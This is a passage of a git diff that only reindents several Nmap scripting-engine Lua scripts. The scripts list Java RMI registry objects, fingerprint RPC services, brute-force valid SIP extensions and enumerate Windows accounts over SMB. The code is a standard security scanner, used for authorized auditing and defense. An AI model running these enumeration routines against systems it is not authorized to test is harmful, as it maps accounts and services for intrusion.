@@ -155,20 +155,20 @@ portrule = shortport.port_or_service({1098, 1099, 1090, 8901, 8902, 8903}, {"jav
-- Some lazy shortcuts
local function dbg(str,...)
- stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...)
+ stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...)
end
local function dbg_err(str, ... )
- stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...)
+ stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...)
end
-- Function to split a string
local function split(str, sep)
- local sep, fields = sep or "; ", {}
- local pattern = string.format("([^%s]+)", sep)
- str:gsub(pattern, function(c) fields[#fields+1] = c end)
- return fields
- end
+ local sep, fields = sep or "; ", {}
+ local pattern = string.format("([^%s]+)", sep)
+ str:gsub(pattern, function(c) fields[#fields+1] = c end)
+ return fields
+end
--This is a customData formatter. In some cases, the RMI library finds 'custom data' which belongs to an object.
@@ -180,57 +180,57 @@ local function split(str, sep)
-- of the returned RMI object.
-- @return title, data
function customDataFormatter(className, customData)
- if customData == nil then return nil end
- if #customData ==0 then return nil end
+ if customData == nil then return nil end
+ if #customData ==0 then return nil end
- local retData = {}
- for k,v in ipairs(customData) do
- if v:find("file:/") == 1 then
- -- This is a classpath
- local cp = split(v, "; ") -- Splits into table
- table.insert(retData, "Classpath")
- table.insert(retData, cp)
- else
- table.insert(retData[v])
- end
- end
+ local retData = {}
+ for k,v in ipairs(customData) do
+ if v:find("file:/") == 1 then
+ -- This is a classpath
+ local cp = split(v, "; ") -- Splits into table
+ table.insert(retData, "Classpath")
+ table.insert(retData, cp)
+ else
+ table.insert(retData[v])
+ end
+ end
- return "Custom data", retData
+ return "Custom data", retData
end
function action(host,port, args)
- local registry= rmi.Registry:new( host.ip, port.number)
+ local registry= rmi.Registry:new( host.ip, port.number)
- local status, j_array = registry:list()
- local output = {}
- if not status then
- return false, ("Registry listing failed (%s)"):format(tostring(j_array))
- end
- -- It's definitely RMI!
- port.version.name ='java-rmi'
- port.version.product='Java RMI Registry'
- nmap.set_port_version(host,port)
+ local status, j_array = registry:list()
+ local output = {}
+ if not status then
+ return false, ("Registry listing failed (%s)"):format(tostring(j_array))
+ end
+ -- It's definitely RMI!
+ port.version.name ='java-rmi'
+ port.version.product='Java RMI Registry'
+ nmap.set_port_version(host,port)
- -- Monkey patch the java-class in rmi, to set our own custom data formatter
- -- for classpaths
- rmi.JavaClass.customDataFormatter = customDataFormatter
+ -- Monkey patch the java-class in rmi, to set our own custom data formatter
+ -- for classpaths
+ rmi.JavaClass.customDataFormatter = customDataFormatter
- -- We expect an array of strings to be the return data
- local data = j_array:getValues()
- for i,name in ipairs( data ) do
- --print(data)
- table.insert(output, name)
- dbg("Querying object %s", name)
- local status, j_object= registry:lookup(name)
+ -- We expect an array of strings to be the return data
+ local data = j_array:getValues()
+ for i,name in ipairs( data ) do
+ --print(data)
+ table.insert(output, name)
+ dbg("Querying object %s", name)
+ local status, j_object= registry:lookup(name)
- if status then
- table.insert(output, j_object:toTable())
- end
+ if status then
+ table.insert(output, j_object:toTable())
+ end
- end
- return stdnse.format_output(true, output)
+ end
+ return stdnse.format_output(true, output)
end
diff --git a/scripts/rpc-grind.nse b/scripts/rpc-grind.nse
index 0edf88dee..ea6df1feb 100644
--- a/scripts/rpc-grind.nse
+++ b/scripts/rpc-grind.nse
@@ -44,16 +44,16 @@ categories = {"version"}
portrule = function(host, port)
- -- Do not run for excluded ports
- if (nmap.port_is_excluded(port.number, port.protocol)) then
- return false
- end
- if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
- -- Exclude services that have already been detected as something
- -- different than rpcbind.
- return false
- end
- return true
+ -- Do not run for excluded ports
+ if (nmap.port_is_excluded(port.number, port.protocol)) then
+ return false
+ end
+ if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
+ -- Exclude services that have already been detected as something
+ -- different than rpcbind.
+ return false
+ end
+ return true
end
--- Function that determines if the target port of host uses RPC protocol.
@@ -61,57 +61,57 @@ end
--@param port Port table as commonly used in Nmap.
--@return status boolean True if target port uses RPC protocol, false else.
local isRPC = function(host, port)
- -- If rpcbind is already set up by -sV
- -- which does practically the same check as in the "else" part.
- -- The nmap-services-probe entry "rpcbind" is not correctly true, and should
- -- be changed to something like "sunrpc"
- if port.service == 'rpcbind' then
- return true
- else
- -- this check is important if we didn't run the scan with -sV.
- -- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
- -- to the "rpcbind" service probe in nmap-service-probes.
- local rpcConn, status, err, data, rxid, msgtype, _
+ -- If rpcbind is already set up by -sV
+ -- which does practically the same check as in the "else" part.
+ -- The nmap-services-probe entry "rpcbind" is not correctly true, and should
+ -- be changed to something like "sunrpc"
+ if port.service == 'rpcbind' then
+ return true
+ else
+ -- this check is important if we didn't run the scan with -sV.
+ -- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
+ -- to the "rpcbind" service probe in nmap-service-probes.
+ local rpcConn, status, err, data, rxid, msgtype, _
- -- Create new socket
- -- rpcbind is not really important, we could have used another protocol from rpc.lua
- -- such as nfs or mountd. Same thing for version 2.
- rpcConn = rpc.Comm:new("rpcbind", 2)
- status, err = rpcConn:Connect(host, port)
- if not status then
- stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
- return
- end
-
- -- Send packet
- local xid = math.random(1234567890)
- data = rpcConn:EncodePacket(xid)
- status, err = rpcConn:SendPacket(data)
- if not status then
- stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
- return
- end
-
- -- And check response
- status, data = rpcConn:ReceivePacket()
- if not status then
- stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
- return
- else
- -- If we got response, set port to open
- nmap.set_port_state(host, port, "open")
-
- _, rxid = bin.unpack(">I", data, 1)
- _, msgtype = bin.unpack(">I", data, 5)
- -- If response XID does match request XID
- -- and message type equals 1 (REPLY) then
- -- it is a RPC port.
- if rxid == xid and msgtype == 1 then
- return true
- end
- end
+ -- Create new socket
+ -- rpcbind is not really important, we could have used another protocol from rpc.lua
+ -- such as nfs or mountd. Same thing for version 2.
+ rpcConn = rpc.Comm:new("rpcbind", 2)
+ status, err = rpcConn:Connect(host, port)
+ if not status then
+ stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
+ return
end
- stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
+
+ -- Send packet
+ local xid = math.random(1234567890)
+ data = rpcConn:EncodePacket(xid)
+ status, err = rpcConn:SendPacket(data)
+ if not status then
+ stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
+ return
+ end
+
+ -- And check response
+ status, data = rpcConn:ReceivePacket()
+ if not status then
+ stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
+ return
+ else
+ -- If we got response, set port to open
+ nmap.set_port_state(host, port, "open")
+
+ _, rxid = bin.unpack(">I", data, 1)
+ _, msgtype = bin.unpack(">I", data, 5)
+ -- If response XID does match request XID
+ -- and message type equals 1 (REPLY) then
+ -- it is a RPC port.
+ if rxid == xid and msgtype == 1 then
+ return true
+ end
+ end
+ end
+ stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
end
-- Function that iterates over the nmap-rpc file and
@@ -119,34 +119,34 @@ end
-- @return name Name of the RPC service.
-- @return number RPC number of the matching service name.
local rpcIterator = function()
- -- Check if nmap-rpc file is present.
- local path = nmap.fetchfile("nmap-rpc")
- if not path then
- stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME)
- return false
- end
+ -- Check if nmap-rpc file is present.
+ local path = nmap.fetchfile("nmap-rpc")
+ if not path then
+ stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME)
+ return false
+ end
- -- And is readable
- local nmaprpc, _, _ = io.open( path, "r" )
- if not nmaprpc then
- stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME)
- return false
- end
+ -- And is readable
+ local nmaprpc, _, _ = io.open( path, "r" )
+ if not nmaprpc then
+ stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME)
+ return false
+ end
- return function()
- while true do
- local line = nmaprpc:read()
- if not line then
- break
- end
- -- Now, we parse lines for meaningful ones
- local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
- -- And return program name and number
- if name and number then
- return name, tonumber(number)
- end
- end
+ return function()
+ while true do
+ local line = nmaprpc:read()
+ if not line then
+ break
+ end
+ -- Now, we parse lines for meaningful ones
+ local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
+ -- And return program name and number
+ if name and number then
+ return name, tonumber(number)
+ end
end
+ end
end
--- Function that sends RPC null commands with a random version number and
@@ -157,113 +157,113 @@ end
-- @param iterator Iterator function that returns program name and number pairs.
-- @param result table to put result into.
local rpcGrinder = function(host, port, iterator, result)
- local condvar = nmap.condvar(result)
- local rpcConn, version, xid, status, response, packet, err, data, _
+ local condvar = nmap.condvar(result)
+ local rpcConn, version, xid, status, response, packet, err, data, _
- xid = math.random(123456789)
- -- We use a random, most likely unsupported version so that
- -- we also trigger min and max version disclosure for the target service.
- version = math.random(12345, 123456789)
- rpcConn = rpc.Comm:new("rpcbind", version)
- rpcConn:SetCheckProgVer(false)
- status, err = rpcConn:Connect(host, port)
+ xid = math.random(123456789)
+ -- We use a random, most likely unsupported version so that
+ -- we also trigger min and max version disclosure for the target service.
+ version = math.random(12345, 123456789)
+ rpcConn = rpc.Comm:new("rpcbind", version)
+ rpcConn:SetCheckProgVer(false)
+ status, err = rpcConn:Connect(host, port)
- if not status then
- stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err)
- condvar "signal";
- return
- end
- for program, number in iterator do
- -- No need to continue further if we found the matching service.
- if #result > 0 then
- break
- end
-
- xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
- rpcConn:SetProgID(number)
- packet = rpcConn:EncodePacket(xid)
- status, err = rpcConn:SendPacket(packet)
- if not status then
- stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
- condvar "signal";
- return
- end
-
- status, data = rpcConn:ReceivePacket()
- if not status then
- stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
- condvar "signal";
- return
- end
-
- _,response = rpcConn:DecodeHeader(data, 1)
- if type(response) == 'table' then
- if xid ~= response.xid then
- -- Shouldn't happen.
- stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
- end
- -- Look at accept state
- -- Not supported version means that we used the right program number
- if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
- result.program = program
- result.number = number
- _, result.highver = bin.unpack(">I", data, #data - 3)
- _, result.lowver = bin.unpack(">I", data, #data - 7)
- table.insert(result, true) -- To make #result > 1
-
- -- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
- elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
- stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
- end
- end
- end
+ if not status then
+ stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err)
condvar "signal";
- return result
+ return
+ end
+ for program, number in iterator do
+ -- No need to continue further if we found the matching service.
+ if #result > 0 then
+ break
+ end
+
+ xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
+ rpcConn:SetProgID(number)
+ packet = rpcConn:EncodePacket(xid)
+ status, err = rpcConn:SendPacket(packet)
+ if not status then
+ stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
+ condvar "signal";
+ return
+ end
+
+ status, data = rpcConn:ReceivePacket()
+ if not status then
+ stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
+ condvar "signal";
+ return
+ end
+
+ _,response = rpcConn:DecodeHeader(data, 1)
+ if type(response) == 'table' then
+ if xid ~= response.xid then
+ -- Shouldn't happen.
+ stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
+ end
+ -- Look at accept state
+ -- Not supported version means that we used the right program number
+ if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
+ result.program = program
+ result.number = number
+ _, result.highver = bin.unpack(">I", data, #data - 3)
+ _, result.lowver = bin.unpack(">I", data, #data - 7)
+ table.insert(result, true) -- To make #result > 1
+
+ -- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
+ elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
+ stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
+ end
+ end
+ end
+ condvar "signal";
+ return result
end
action = function(host, port)
- local result, lthreads = {}, {}
+ local result, lthreads = {}, {}
- if not isRPC(host, port) then
- stdnse.print_debug("Target port %s is not a RPC port.", port.number)
- return
+ if not isRPC(host, port) then
+ stdnse.print_debug("Target port %s is not a RPC port.", port.number)
+ return
+ end
+ local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
+
+ local iterator = rpcIterator()
+ if not iterator then
+ return
+ end
+ -- And now, exec our grinder
+ for i = 1,threads do
+ local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
+ lthreads[co] = true
+ end
+
+ local condvar = nmap.condvar(result)
+ repeat
+ for thread in pairs(lthreads) do
+ if coroutine.status(thread) == "dead" then
+ lthreads[thread] = nil
+ end
end
- local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
-
- local iterator = rpcIterator()
- if not iterator then
- return
- end
- -- And now, exec our grinder
- for i = 1,threads do
- local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
- lthreads[co] = true
+ if ( next(lthreads) ) then
+ condvar "wait";
end
+ until next(lthreads) == nil;
- local condvar = nmap.condvar(result)
- repeat
- for thread in pairs(lthreads) do
- if coroutine.status(thread) == "dead" then
- lthreads[thread] = nil
- end
- end
- if ( next(lthreads) ) then
- condvar "wait";
- end
- until next(lthreads) == nil;
-
- -- Check the result and set the port version.
- if #result > 0 then
- port.version.name = result.program
- port.version.extrainfo = "RPC #" .. result.number
- if result.highver ~= result.lowver then
- port.version.version = ("%s-%s"):format(result.lowver, result.highver)
- else
- port.version.version = result.highver
- end
- nmap.set_port_version(host, port, "hardmatched")
+ -- Check the result and set the port version.
+ if #result > 0 then
+ port.version.name = result.program
+ port.version.extrainfo = "RPC #" .. result.number
+ if result.highver ~= result.lowver then
+ port.version.version = ("%s-%s"):format(result.lowver, result.highver)
else
- stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
+ port.version.version = result.highver
end
- return nil
+ nmap.set_port_version(host, port, "hardmatched")
+ else
+ stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
+ end
+ return nil
end
diff --git a/scripts/sip-enum-users.nse b/scripts/sip-enum-users.nse
index 8f504cade..356d5fdf5 100644
--- a/scripts/sip-enum-users.nse
+++ b/scripts/sip-enum-users.nse
@@ -73,14 +73,14 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
-- @return status true on success, false on failure.
-- @return Response instance on success, error string on failure.
local registerext = function(sess, ext)
- -- set session values
- local request = sip.Request:new(sip.Method.REGISTER)
+ -- set session values
+ local request = sip.Request:new(sip.Method.REGISTER)
- request:setUri("sip:" .. sess.sessdata:getServer())
- sess.sessdata:setUsername(ext)
- request:setSessionData(sess.sessdata)
+ request:setUri("sip:" .. sess.sessdata:getServer())
+ sess.sessdata:setUsername(ext)
+ request:setSessionData(sess.sessdata)
- return sess:exch(request)
+ return sess:exch(request)
end
--- Function that returns a number as string with a number of zeroes padded to
@@ -89,14 +89,14 @@ end
-- @arg padding number of digits to pad up to.
-- @return string of padded number.
local padnum = function(num, padding)
- -- How many zeroes do we need to add
- local n = #tostring(num)
- if n >= padding then
- return tostring(num)
- end
- n = padding - n
+ -- How many zeroes do we need to add
+ local n = #tostring(num)
+ if n >= padding then
+ return tostring(num)
+ end
+ n = padding - n
- return string.rep(tostring(0), n) .. tostring(num)
+ return string.rep(tostring(0), n) .. tostring(num)
end
--- Iterator function that returns values from a lower value up to a greater
@@ -106,11 +106,11 @@ end
-- @arg padding number of digits to pad up to.
-- @return string current value.
local numiterator = function(minval, maxval, padding)
- local i = minval - 1
- return function()
- i = i + 1
- if i <= maxval then return padnum(i, padding), '' end
- end
+ local i = minval - 1
+ return function()
+ i = i + 1
+ if i <= maxval then return padnum(i, padding), '' end
+ end
end
--- Iterator function that returns lines from a file
@@ -118,19 +118,19 @@ end
-- @return status false if error.
-- @return string current line.
local useriterator = function(list)
- local f = nmap.fetchfile(list) or list
- if not f then
- return false, ("\n ERROR: Couldn't find %s"):format(list)
- end
- f = io.open(f)
- if ( not(f) ) then
- return false, ("\n ERROR: Failed to open %s"):format(list)
- end
- return function()
- for line in f:lines() do
- return line
- end
+ local f = nmap.fetchfile(list) or list
+ if not f then
+ return false, ("\n ERROR: Couldn't find %s"):format(list)
+ end
+ f = io.open(f)
+ if ( not(f) ) then
+ return false, ("\n ERROR: Failed to open %s"):format(list)
+ end
+ return function()
+ for line in f:lines() do
+ return line
end
+ end
end
--- function that tests for 404 status code when sending a REGISTER request
@@ -138,128 +138,128 @@ end
-- @arg host Target host table.
-- @arg port Target port table.
local test404 = function(host, port)
- local session, status, randext, response
- -- Random extension
- randext = math.random(1234567,987654321)
+ local session, status, randext, response
+ -- Random extension
+ randext = math.random(1234567,987654321)
- session = sip.Session:new(host, port)
- status = session:connect()
- if not status then
- return false, "ERROR: Failed to connect to the SIP server."
- end
+ session = sip.Session:new(host, port)
+ status = session:connect()
+ if not status then
+ return false, "ERROR: Failed to connect to the SIP server."
+ end
- status, response = registerext(session, randext)
- if not status then
- return false, "ERROR: No response from the SIP server."
- end
- if response:getErrorCode() ~= 404 then
- return false, "Server not returning 404 for random extension."
- end
- return true
+ status, response = registerext(session, randext)
+ if not status then
+ return false, "ERROR: No response from the SIP server."
+ end
+ if response:getErrorCode() ~= 404 then
+ return false, "Server not returning 404 for random extension."
+ end
+ return true
end
Driver = {
- new = function(self, host, port)
- local o = {}
- setmetatable(o, self)
- self.__index = self
- o.host = host
- o.port = port
- return o
- end,
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
- connect = function( self )
- self.session = sip.Session:new(self.host, self.port)
- local status = self.session:connect()
- if ( not(status) ) then
- return false, brute.Error:new( "Couldn't connect to host" )
- end
- return true
- end,
+ connect = function( self )
+ self.session = sip.Session:new(self.host, self.port)
+ local status = self.session:connect()
+ if ( not(status) ) then
+ return false, brute.Error:new( "Couldn't connect to host" )
+ end
+ return true
+ end,
- login = function( self, username, password)
- -- We are using the "password" values instead of the "username" so we
- -- could benifit from brute.lua passonly option and setPasswordIterator
- -- function, as we are doing usernames enumeration only and not
- -- credentials brute forcing.
- local status, response, responsecode
- -- Send REGISTER request for each extension
- status, response = registerext(self.session, password)
- if status then
- responsecode = response:getErrorCode()
- -- If response status code is 401 or 407, then extension exists but
- -- requires authentication
- if responsecode == sip.Error.UNAUTHORIZED or
- responsecode == sip.Error.PROXY_AUTH_REQUIRED then
- return true, brute.Account:new(password, " Auth required", '')
+ login = function( self, username, password)
+ -- We are using the "password" values instead of the "username" so we
+ -- could benifit from brute.lua passonly option and setPasswordIterator
+ -- function, as we are doing usernames enumeration only and not
+ -- credentials brute forcing.
+ local status, response, responsecode
+ -- Send REGISTER request for each extension
+ status, response = registerext(self.session, password)
+ if status then
+ responsecode = response:getErrorCode()
+ -- If response status code is 401 or 407, then extension exists but
+ -- requires authentication
+ if responsecode == sip.Error.UNAUTHORIZED or
+ responsecode == sip.Error.PROXY_AUTH_REQUIRED then
+ return true, brute.Account:new(password, " Auth required", '')
- -- If response status code is 200, then extension exists
- -- and requires no authentication
- elseif responsecode == sip.Error.OK then
- return true, brute.Account:new(password, " No auth", '')
- -- If response status code is 200, then extension exists
- -- but access is forbidden.
+ -- If response status code is 200, then extension exists
+ -- and requires no authentication
+ elseif responsecode == sip.Error.OK then
+ return true, brute.Account:new(password, " No auth", '')
+ -- If response status code is 200, then extension exists
+ -- but access is forbidden.
- elseif responsecode == sip.Error.FORBIDDEN then
- return true, brute.Account:new(password, " Forbidden", '')
- end
- return false,brute.Error:new( "Not found" )
- else
- return false,brute.Error:new( "No response" )
- end
- end,
+ elseif responsecode == sip.Error.FORBIDDEN then
+ return true, brute.Account:new(password, " Forbidden", '')
+ end
+ return false,brute.Error:new( "Not found" )
+ else
+ return false,brute.Error:new( "No response" )
+ end
+ end,
- disconnect = function(self)
- self.session:close()
- return true
- end,
+ disconnect = function(self)
+ self.session:close()
+ return true
+ end,
}
action = function(host, port)
- local result, lthreads = {}, {}
- local status, err
- local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
- local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
- local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
- local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
- local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
- local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
- or "nselib/data/usernames.lst"
+ local result, lthreads = {}, {}
+ local status, err
+ local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
+ local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
+ local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
+ local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
+ local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
+ local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
+ or "nselib/data/usernames.lst"
- -- min extension should be less than max extension.
- if minext > maxext then
- return "ERROR: maxext should be greater or equal than minext."
- end
- -- If not set to zero, number of digits to pad up to should have less or
- -- equal the number of digits of max extension.
- if padding ~= 0 and #tostring(maxext) > padding then
- return "ERROR: padding should be greater or equal to number of digits of maxext."
+ -- min extension should be less than max extension.
+ if minext > maxext then
+ return "ERROR: maxext should be greater or equal than minext."
+ end
+ -- If not set to zero, number of digits to pad up to should have less or
+ -- equal the number of digits of max extension.
+ if padding ~= 0 and #tostring(maxext) > padding then
+ return "ERROR: padding should be greater or equal to number of digits of maxext."
+ end
+
+ -- We test for false positives by sending a request for a random extension
+ -- and checking if it did return a 404.
+ status, err = test404(host, port)
+ if not status then
+ return err
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+
+ local iterator = numiterator(minext, maxext, padding)
+ if users then
+ local usernames, err = useriterator(usersfile)
+ if not usernames then
+ return err
end
+ -- Concat numbers and users iterators
+ iterator = unpwdb.concat_iterators(iterator, usernames)
+ end
+ engine:setPasswordIterator(iterator)
+ engine.options.passonly = true
+ status, result = engine:start()
- -- We test for false positives by sending a request for a random extension
- -- and checking if it did return a 404.
- status, err = test404(host, port)
- if not status then
- return err
- end
-
- local engine = brute.Engine:new(Driver, host, port)
- engine.options.script_name = SCRIPT_NAME
-
- local iterator = numiterator(minext, maxext, padding)
- if users then
- local usernames, err = useriterator(usersfile)
- if not usernames then
- return err
- end
- -- Concat numbers and users iterators
- iterator = unpwdb.concat_iterators(iterator, usernames)
- end
- engine:setPasswordIterator(iterator)
- engine.options.passonly = true
- status, result = engine:start()
-
- return result
+ return result
end
diff --git a/scripts/smb-enum-users.nse b/scripts/smb-enum-users.nse
index fb7c404d9..cc6bbe8fd 100644
--- a/scripts/smb-enum-users.nse
+++ b/scripts/smb-enum-users.nse
@@ -146,120 +146,120 @@ dependencies = {"smb-brute"}
hostrule = function(host)
- return smb.get_port(host) ~= nil
+ return smb.get_port(host) ~= nil
end
action = function(host)
- local i, j
- local samr_status = false
- local lsa_status = false
- local samr_result = "Didn't run"
- local lsa_result = "Didn't run"
- local names = {}
- local names_lookup = {}
- local response = {}
- local samronly = nmap.registry.args.samronly
- local lsaonly = nmap.registry.args.lsaonly
- local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
- local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
+ local i, j
+ local samr_status = false
+ local lsa_status = false
+ local samr_result = "Didn't run"
+ local lsa_result = "Didn't run"
+ local names = {}
+ local names_lookup = {}
+ local response = {}
+ local samronly = nmap.registry.args.samronly
+ local lsaonly = nmap.registry.args.lsaonly
+ local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
+ local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
- -- Try enumerating through SAMR. This is the better source of information, if we can get it.
- if(do_samr) then
- samr_status, samr_result = msrpc.samr_enum_users(host)
+ -- Try enumerating through SAMR. This is the better source of information, if we can get it.
+ if(do_samr) then
+ samr_status, samr_result = msrpc.samr_enum_users(host)
- if(samr_status) then
- -- Copy the returned array into the names[] table
- stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
- for i = 1, #samr_result, 1 do
- -- Insert the full info into the names list
- table.insert(names, samr_result[i])
- -- Set the names_lookup value to 'true' to avoid duplicates
- names_lookup[samr_result[i]['name']] = true
- end
- end
- end
+ if(samr_status) then
+ -- Copy the returned array into the names[] table
+ stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
+ for i = 1, #samr_result, 1 do
+ -- Insert the full info into the names list
+ table.insert(names, samr_result[i])
+ -- Set the names_lookup value to 'true' to avoid duplicates
+ names_lookup[samr_result[i]['name']] = true
+ end
+ end
+ end
- -- Try enumerating through LSA.
- if(do_lsa) then
- lsa_status, lsa_result = msrpc.lsa_enum_users(host)
- if(lsa_status) then
- -- Copy the returned array into the names[] table
- stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
- for i = 1, #lsa_result, 1 do
- if(lsa_result[i]['name'] ~= nil) then
- -- Check if the name already exists
- if(not(names_lookup[lsa_result[i]['name']])) then
- table.insert(names, lsa_result[i])
- end
- end
- end
- end
- end
+ -- Try enumerating through LSA.
+ if(do_lsa) then
+ lsa_status, lsa_result = msrpc.lsa_enum_users(host)
+ if(lsa_status) then
+ -- Copy the returned array into the names[] table
+ stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
+ for i = 1, #lsa_result, 1 do
+ if(lsa_result[i]['name'] ~= nil) then
+ -- Check if the name already exists
+ if(not(names_lookup[lsa_result[i]['name']])) then
+ table.insert(names, lsa_result[i])
+ end
+ end
+ end
+ end
+ end
- -- Check if both failed
- if(samr_status == false and lsa_status == false) then
- if(string.find(lsa_result, 'ACCESS_DENIED')) then
- return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
- end
+ -- Check if both failed
+ if(samr_status == false and lsa_status == false) then
+ if(string.find(lsa_result, 'ACCESS_DENIED')) then
+ return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
+ end
- return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
- end
+ return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
+ end
- -- Sort them
- table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
+ -- Sort them
+ table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
- -- Break them out by domain
- local domains = {}
- for _, name in ipairs(names) do
- local domain = name['domain']
+ -- Break them out by domain
+ local domains = {}
+ for _, name in ipairs(names) do
+ local domain = name['domain']
- -- Make sure the entry in the domains table exists
- if(not(domains[domain])) then
- domains[domain] = {}
- end
+ -- Make sure the entry in the domains table exists
+ if(not(domains[domain])) then
+ domains[domain] = {}
+ end
- table.insert(domains[domain], name)
- end
+ table.insert(domains[domain], name)
+ end
- -- Check if we actually got any names back
- if(#names == 0) then
- table.insert(response, "Couldn't find any account names, sorry!")
- else
- -- If we're not verbose, just print out the names. Otherwise, print out everything we can
- if(nmap.verbosity() < 1) then
- for domain, domain_users in pairs(domains) do
- -- Make an impromptu list of users
- local names = {}
- for _, info in ipairs(domain_users) do
- table.insert(names, info['name'])
- end
+ -- Check if we actually got any names back
+ if(#names == 0) then
+ table.insert(response, "Couldn't find any account names, sorry!")
+ else
+ -- If we're not verbose, just print out the names. Otherwise, print out everything we can
+ if(nmap.verbosity() < 1) then
+ for domain, domain_users in pairs(domains) do
+ -- Make an impromptu list of users
+ local names = {}
+ for _, info in ipairs(domain_users) do
+ table.insert(names, info['name'])
+ end
- -- Add this domain to the response
- table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
- end
- else
- for domain, domain_users in pairs(domains) do
- for _, info in ipairs(domain_users) do
- local response_part = {}
- response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
+ -- Add this domain to the response
+ table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
+ end
+ else
+ for domain, domain_users in pairs(domains) do
+ for _, info in ipairs(domain_users) do
+ local response_part = {}
+ response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
- if(info['fullname']) then
- table.insert(response_part, string.format("Full name: %s", info['fullname']))
- end
- if(info['description']) then
- table.insert(response_part, string.format("Description: %s", info['description']))
- end
- if(info['flags']) then
- table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
- end
+ if(info['fullname']) then
+ table.insert(response_part, string.format("Full name: %s", info['fullname']))
+ end
+ if(info['description']) then
+ table.insert(response_part, string.format("Description: %s", info['description']))
+ end
